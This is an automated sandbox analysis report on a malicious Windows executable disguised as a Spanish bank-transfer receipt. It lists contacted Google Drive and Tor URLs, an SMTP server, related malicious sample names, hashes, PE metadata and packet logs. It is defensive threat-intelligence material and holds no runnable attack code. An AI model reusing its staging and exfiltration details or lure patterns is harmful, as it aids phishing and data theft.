https://doc-0s-1s-docs.googleusercontent.com/	RegAsm.exe, 00000009.00000003.87089976252.00000000016E3000.00000004.00000001.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	RegAsm.exe, 00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	RegAsm.exe, 00000009.00000002.91580598172.000000000166A000.00000004.00000020.sdmp	false		high
https://doc-0s-1s-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/6ij4sbsv	RegAsm.exe, 00000009.00000003.87089976252.00000000016E3000.00000004.00000001.sdmp, RegAsm.exe, 00000009.00000003.87085854102.00000000016EE000.00000004.00000001.sdmp, RegAsm.exe, 00000009.00000002.91581052815.00000000016CF000.00000004.00000020.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.78	drive.google.com	United States	15169	GOOGLEUS	false
172.217.18.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
212.227.15.158	smtp.1and1.es	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	1413
Start date:	29.09.2021
Start time:	21:23:54
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 36s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	justificante de la transfer.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@4/1@3/3
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 98% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 20.82.19.171, 20.54.122.82, 20.82.210.154, 92.123.224.60, 92.123.224.124, 8.248.135.254, 8.248.143.254, 8.253.204.120, 67.27.235.254, 67.27.159.254, 20.50.102.62, 93.184.221.240, 13.107.21.200, 204.79.197.200 Excluded domains from analysis (whitelisted): www.bing.com, fg.download.windowsupdate.com.c.footprint.net, dual-a-0001.a-msedge.net, wu.ec.azureedge.net, wu-shim.trafficmanager.net, ctldl.windowsupdate.com, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, wdcp.microsoft.com, a1449.dscg2.akamai.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, wd-prod-cp.trafficmanager.net, arc.msn.com, wu.azureedge.net, wd-prod-cp-eu-north-1-fe.northeurope.cloudapp.azure.com, wdcpalt.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, www-bing-com.dual-a-0001.a-msedge.net, hlb.apr-52dd2-0.edgecastdns.net, wd-prod-cp-eu-west-2-fe.westeurope.cloudapp.azure.com, arc.trafficmanager.net, img-prod-cms-rt-microsoft-com.akamaized.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:26:51	API Interceptor	1970x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
212.227.15.158	PO 704491.exe	Get hash	malicious	Browse
	QT2WO09000008.PDF.exe	Get hash	malicious	Browse
	5e9e1d06_by_Libranalysis.exe	Get hash	malicious	Browse
	Factura de pago.exe	Get hash	malicious	Browse
	8cd641fa_by_Libranalysis.exe	Get hash	malicious	Browse
	Fizet#U00e9si felsz#U00f3l#U00edt#U00e1s.tar	Get hash	malicious	Browse
	Kifizetett sz#U00e1ml#U00e1k.tar	Get hash	malicious	Browse
	#U0414#U0435#U0442#U0430#U043b#U0456 #U0434#U043e#U0441#U0442#U0430#U0432#U043a#U0438.exe	Get hash	malicious	Browse
	#U0414#U0435#U0442#U0430#U043b#U0456 #U0434#U043e#U0441#U0442#U0430#U0432#U043a#U0438.exe	Get hash	malicious	Browse
	301085272.tar	Get hash	malicious	Browse
	Szallitasi adatok.tar	Get hash	malicious	Browse
	Recibo de transferencia de dinero.exe	Get hash	malicious	Browse
	Geldtransferbeleg.exe	Get hash	malicious	Browse
	Factur#U0103 pl#U0103tit#U0103.exe	Get hash	malicious	Browse
	JUSTT1.exe	Get hash	malicious	Browse
	Facturas pagadas.exe	Get hash	malicious	Browse
	kjhh087.exe	Get hash	malicious	Browse
	Facturas pagadas.exe	Get hash	malicious	Browse
	Facturas_pagadas.exe	Get hash	malicious	Browse
	PAG00.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
smtp.1and1.es	justificante de la transfer.exe	Get hash	malicious	Browse	212.227.15.142
	PO 704491.exe	Get hash	malicious	Browse	212.227.15.158
	QT2WO09000008.PDF.exe	Get hash	malicious	Browse	212.227.15.158
	PW2sHqQXAs.exe	Get hash	malicious	Browse	212.227.15.142
	select.exe	Get hash	malicious	Browse	212.227.15.142
	f2e0f882_by_Libranalysis.exe	Get hash	malicious	Browse	212.227.15.142
	Factura de pago.exe	Get hash	malicious	Browse	212.227.15.142
	Mok#U0117jimo s#U0105skaita fakt#U016bra.exe	Get hash	malicious	Browse	212.227.15.142
	5e9e1d06_by_Libranalysis.exe	Get hash	malicious	Browse	212.227.15.158
	Factura de pago.exe	Get hash	malicious	Browse	212.227.15.158
	8cd641fa_by_Libranalysis.exe	Get hash	malicious	Browse	212.227.15.158
	#U0420#U0430#U0445#U0443#U043d#U043e#U043a-#U0444#U0430#U043a#U0442#U0443#U0440#U0430.exe	Get hash	malicious	Browse	212.227.15.142
	#U0414#U0435#U0442#U0430#U043b#U0456 #U0434#U043e#U0441#U0442#U0430#U0432#U043a#U0438.exe	Get hash	malicious	Browse	212.227.15.142
	Fizet#U00e9si felsz#U00f3l#U00edt#U00e1s.tar	Get hash	malicious	Browse	212.227.15.158
	Kifizetett sz#U00e1ml#U00e1k.tar	Get hash	malicious	Browse	212.227.15.158
	#U0414#U0435#U0442#U0430#U043b#U0456 #U0434#U043e#U0441#U0442#U0430#U0432#U043a#U0438.exe	Get hash	malicious	Browse	212.227.15.158
	#U0414#U0435#U0442#U0430#U043b#U0456 #U0434#U043e#U0441#U0442#U0430#U0432#U043a#U0438.exe	Get hash	malicious	Browse	212.227.15.158
	#U0414#U0435#U0442#U0430#U043b#U0456 #U0434#U043e#U0441#U0442#U0430#U0432#U043a#U0438.exe	Get hash	malicious	Browse	212.227.15.142
	829063701.tar	Get hash	malicious	Browse	212.227.15.142
	301085272.tar	Get hash	malicious	Browse	212.227.15.158

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ONEANDONE-ASBrauerstrasse48DE	CpUNO6WMEm.exe	Get hash	malicious	Browse	74.208.236.156
	5evNQKCuzg.exe	Get hash	malicious	Browse	217.160.243.54
	Cl8RbDkHcC.exe	Get hash	malicious	Browse	217.160.0.198
	RpcNs4.exe	Get hash	malicious	Browse	74.208.173.91
	BOWevSYozk.exe	Get hash	malicious	Browse	74.208.236.144
	image002.exe	Get hash	malicious	Browse	213.165.67.118
	Inquiry-URGENT.exe	Get hash	malicious	Browse	74.208.236.139
	ejecutable2.exe	Get hash	malicious	Browse	217.160.0.222
	index_2021-09-25-14_08.exe	Get hash	malicious	Browse	217.160.0.15
	IKpep4Zn5S.exe	Get hash	malicious	Browse	217.160.230.95
	MV DINA QUEEN.xlsx	Get hash	malicious	Browse	217.160.230.95
	PAYMENT COPY.exe	Get hash	malicious	Browse	217.160.0.159
	Medical Order 092021.exe	Get hash	malicious	Browse	217.160.0.250
	cs.exe	Get hash	malicious	Browse	217.174.240.46
	DUE PAYMENT.exe	Get hash	malicious	Browse	74.208.236.156
	INV 563256 and 373PDF.exe	Get hash	malicious	Browse	74.208.236.222
	SYsObQNkC1.exe	Get hash	malicious	Browse	217.160.0.253
	v2XwLpMqG5.exe	Get hash	malicious	Browse	217.160.0.177
	1vY5i8g38s.exe	Get hash	malicious	Browse	217.160.243.54
	JNk46WKTxo.exe	Get hash	malicious	Browse	212.227.210.118

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	Lista comenzilor atasate.exe	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	GCYRY3V0v7.exe	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	DHL e_pacelFORM.HTML	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	PO-RMS74OM PT Chrome PVT.exe	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	ejecutable.exe	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	Receipt-3847380.html	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	August FinancialsBAD.txt.html	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	EVOLUTION TRADE Sp. z o.o. OFERTA 09212.exe	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	MYJR0Ln7E8.exe	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	V2dk1e5Wbs.exe	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	bGtxXBuptf.exe	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	3jJa7lvi9n.exe	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	5G5rCXDzBl.exe	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	o7LBymBKPE.exe	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	CwnZiHC5wY.exe	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	7WpL33didu.exe	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	5yo1p6IdSO.exe	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	Uyy2a3HdNc.exe	Get hash	malicious	Browse	172.217.18.97 142.250.186.78
	eMEBxM2xXx.exe	Get hash	malicious	Browse	172.217.18.97 142.250.186.78

Dropped Files

No context

Created / dropped Files

\Device\ConDrv Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	3.964735178725505
Encrypted:	false
SSDEEP:	3:IBVFBWAGRHneyy:ITqAGRHner
MD5:	9F754B47B351EF0FC32527B541420595
SHA1:	006C66220B33E98C725B73495FE97B3291CE14D9
SHA-256:	0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591
SHA-512:	C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	NordVPN directory not found!..

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.882738453776636
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	justificante de la transfer.exe
File size:	126976
MD5:	326f29a347549e64c9510a1e0bd6d043
SHA1:	d70b73a10e45d9569da0dc44f99d49b7cb886959
SHA256:	99c1a96121410c61014d0115983f43fad64acc77d21914a9fb9e3c6ba262627a
SHA512:	611e7553ae486d8be162a24c249e264a519c7b2a3023009d791af382c8ffaee1ca45a3fb0be7a7a7915a760d284527a4c3bed4e7ac60dfda01940932d97916d7
SSDEEP:	1536:8h0ZHEAZsxq4zf8JoJ5pn2dUAh8R+4ZMLoflfjxQ8dUw7K1LjP9L:8hYSxJJ5F2dzh8QmM0flfFQ8dUwyLz9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#...B...B...B..L^...B...`...B...d...B..Rich.B..........PE..L...L..S.....................P....................@................

File Icon


Icon Hash:	20047c7c70f0e004

Static PE Info

General
Entrypoint:	0x4015b8
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x53BEB74C [Thu Jul 10 15:54:52 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	71d5a9f33de2f7c250bf122de57cb463

Entrypoint Preview

Instruction
push 00401AB0h
call 00007F3548F747C3h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, bh
or ecx, dword ptr [eax+ebp*4]
sbb byte ptr [eax+esi*2], dh
dec ebp
test byte ptr [esi+2E301F39h], ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x19f34	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1d000	0x2266	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x228	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x148	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x19460	0x1a000	False	0.423574594351	data	6.26966318358	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x1b000	0x11c8	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x1d000	0x2266	0x3000	False	0.292399088542	data	3.30185971182	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
CUSTOM	0x1ef68	0x2fe	MS Windows icon resource - 1 icon, 32x32, 16 colors	English	United States
CUSTOM	0x1eb2a	0x43e	MS Windows icon resource - 2 icons, 32x32, 2 colors, 32x32, 16 colors, 4 bits/pixel	English	United States
CUSTOM	0x1da7c	0x10ae	MS Windows icon resource - 3 icons, 32x32, 8 bits/pixel, 16x16, 32 bits/pixel	English	United States
RT_ICON	0x1d94c	0x130	data
RT_ICON	0x1d664	0x2e8	data
RT_ICON	0x1d53c	0x128	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x1d50c	0x30	data
RT_VERSION	0x1d200	0x30c	data	English	United States

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaFreeVar, __vbaLenBstr, __vbaStrVarMove, __vbaFreeVarList, _adj_fdiv_m64, _adj_fprem1, __vbaRecAnsiToUni, __vbaSetSystemError, __vbaRecDestruct, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryDestruct, __vbaObjSet, __vbaOnError, __vbaCyAdd, _adj_fdiv_m16i, _adj_fdivr_m16i, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaStrCmp, __vbaAryConstruct2, DllFunctionCall, _adj_fpatan, __vbaRedim, __vbaRecUniToAnsi, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaFpCmpCy, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaStrVarVal, _CIlog, __vbaErrorOverflow, __vbaNew2, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarDup, __vbaRecDestructAnsi, _CIatan, __vbaStrMove, _allmul, _CItan, _CIexp, __vbaFreeObj, __vbaFreeStr

Version Infos

Description	Data
Translation	0x0409 0x04b0
LegalCopyright	AClassic
InternalName	Unhypocritical
FileVersion	1.00
CompanyName	AClassic
LegalTrademarks	AClassic
Comments	AClassic
ProductName	AClassic
ProductVersion	1.00
FileDescription	AClassic
OriginalFilename	Unhypocritical.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

Total Packets: 64
• 443 (HTTPS)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2021 21:26:40.662333965 CEST	49823	443	192.168.11.20	142.250.186.78
Sep 29, 2021 21:26:40.662415981 CEST	443	49823	142.250.186.78	192.168.11.20
Sep 29, 2021 21:26:40.662676096 CEST	49823	443	192.168.11.20	142.250.186.78
Sep 29, 2021 21:26:40.677500963 CEST	49823	443	192.168.11.20	142.250.186.78
Sep 29, 2021 21:26:40.677558899 CEST	443	49823	142.250.186.78	192.168.11.20
Sep 29, 2021 21:26:40.725945950 CEST	443	49823	142.250.186.78	192.168.11.20
Sep 29, 2021 21:26:40.726144075 CEST	49823	443	192.168.11.20	142.250.186.78
Sep 29, 2021 21:26:40.726183891 CEST	49823	443	192.168.11.20	142.250.186.78
Sep 29, 2021 21:26:40.728861094 CEST	443	49823	142.250.186.78	192.168.11.20
Sep 29, 2021 21:26:40.729127884 CEST	49823	443	192.168.11.20	142.250.186.78
Sep 29, 2021 21:26:40.843688965 CEST	49823	443	192.168.11.20	142.250.186.78
Sep 29, 2021 21:26:40.843744993 CEST	443	49823	142.250.186.78	192.168.11.20
Sep 29, 2021 21:26:40.844377995 CEST	443	49823	142.250.186.78	192.168.11.20
Sep 29, 2021 21:26:40.844501972 CEST	49823	443	192.168.11.20	142.250.186.78
Sep 29, 2021 21:26:40.847001076 CEST	49823	443	192.168.11.20	142.250.186.78
Sep 29, 2021 21:26:40.889874935 CEST	443	49823	142.250.186.78	192.168.11.20
Sep 29, 2021 21:26:41.413003922 CEST	443	49823	142.250.186.78	192.168.11.20
Sep 29, 2021 21:26:41.413177013 CEST	49823	443	192.168.11.20	142.250.186.78
Sep 29, 2021 21:26:41.413206100 CEST	443	49823	142.250.186.78	192.168.11.20
Sep 29, 2021 21:26:41.413316011 CEST	49823	443	192.168.11.20	142.250.186.78
Sep 29, 2021 21:26:41.413378000 CEST	443	49823	142.250.186.78	192.168.11.20
Sep 29, 2021 21:26:41.413486004 CEST	49823	443	192.168.11.20	142.250.186.78
Sep 29, 2021 21:26:41.413511992 CEST	443	49823	142.250.186.78	192.168.11.20
Sep 29, 2021 21:26:41.413621902 CEST	49823	443	192.168.11.20	142.250.186.78
Sep 29, 2021 21:26:41.466572046 CEST	49823	443	192.168.11.20	142.250.186.78
Sep 29, 2021 21:26:41.466625929 CEST	443	49823	142.250.186.78	192.168.11.20
Sep 29, 2021 21:26:41.496449947 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.496527910 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.496678114 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.496979952 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.497026920 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.544962883 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.545157909 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.547046900 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.547312021 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.550802946 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.550822020 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.551135063 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.551322937 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.551654100 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.593908072 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.781630039 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.781805992 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.781830072 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.781888962 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.781999111 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.782033920 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.782208920 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.782442093 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.782860994 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.783111095 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.783535004 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.783739090 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.783782959 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.784015894 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.784065962 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.784276962 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.784318924 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.784543037 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.791227102 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.791413069 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.791455030 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.791646004 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.791680098 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.791697979 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.791871071 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.791910887 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.792098999 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.792126894 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.792313099 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.792351961 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.792520046 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.792601109 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.792629957 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.792717934 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.792788029 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.793087006 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.793235064 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.793272972 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.793466091 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.793510914 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.793704033 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.794001102 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.794194937 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.794235945 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.794383049 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.794410944 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.794559002 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.794729948 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.794878960 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.794915915 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.795067072 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.795095921 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.795243025 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.795433044 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.795588970 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.795625925 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.795816898 CEST	49824	443	192.168.11.20	172.217.18.97
Sep 29, 2021 21:26:41.795847893 CEST	443	49824	172.217.18.97	192.168.11.20
Sep 29, 2021 21:26:41.795993090 CEST	49824	443	192.168.11.20	172.217.18.97

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2021 21:25:44.018327951 CEST	52009	53	192.168.11.20	1.1.1.1
Sep 29, 2021 21:25:44.027921915 CEST	53	52009	1.1.1.1	192.168.11.20
Sep 29, 2021 21:25:44.126182079 CEST	54188	53	192.168.11.20	1.1.1.1
Sep 29, 2021 21:25:44.313092947 CEST	53	54188	1.1.1.1	192.168.11.20
Sep 29, 2021 21:26:06.424242020 CEST	55072	53	192.168.11.20	1.1.1.1
Sep 29, 2021 21:26:06.433753014 CEST	53	55072	1.1.1.1	192.168.11.20
Sep 29, 2021 21:26:07.435326099 CEST	52961	53	192.168.11.20	1.1.1.1
Sep 29, 2021 21:26:07.444401026 CEST	53	52961	1.1.1.1	192.168.11.20
Sep 29, 2021 21:26:27.158926964 CEST	57422	53	192.168.11.20	1.1.1.1
Sep 29, 2021 21:26:27.167593002 CEST	53	57422	1.1.1.1	192.168.11.20
Sep 29, 2021 21:26:34.782776117 CEST	49371	53	192.168.11.20	1.1.1.1
Sep 29, 2021 21:26:34.797071934 CEST	53	49371	1.1.1.1	192.168.11.20
Sep 29, 2021 21:26:40.640741110 CEST	54508	53	192.168.11.20	1.1.1.1
Sep 29, 2021 21:26:40.649574041 CEST	53	54508	1.1.1.1	192.168.11.20
Sep 29, 2021 21:26:41.467016935 CEST	62003	53	192.168.11.20	1.1.1.1
Sep 29, 2021 21:26:41.495196104 CEST	53	62003	1.1.1.1	192.168.11.20
Sep 29, 2021 21:27:44.372262955 CEST	49699	53	192.168.11.20	1.1.1.1
Sep 29, 2021 21:27:44.380913019 CEST	53	49699	1.1.1.1	192.168.11.20
Sep 29, 2021 21:28:13.287497997 CEST	49465	53	192.168.11.20	1.1.1.1
Sep 29, 2021 21:28:13.299212933 CEST	53	49465	1.1.1.1	192.168.11.20
Sep 29, 2021 21:28:34.340951920 CEST	57250	53	192.168.11.20	1.1.1.1
Sep 29, 2021 21:28:34.349641085 CEST	53	57250	1.1.1.1	192.168.11.20
Sep 29, 2021 21:31:42.708884954 CEST	59495	53	192.168.11.20	1.1.1.1
Sep 29, 2021 21:31:42.718406916 CEST	53	59495	1.1.1.1	192.168.11.20
Sep 29, 2021 21:32:44.401140928 CEST	64054	53	192.168.11.20	1.1.1.1
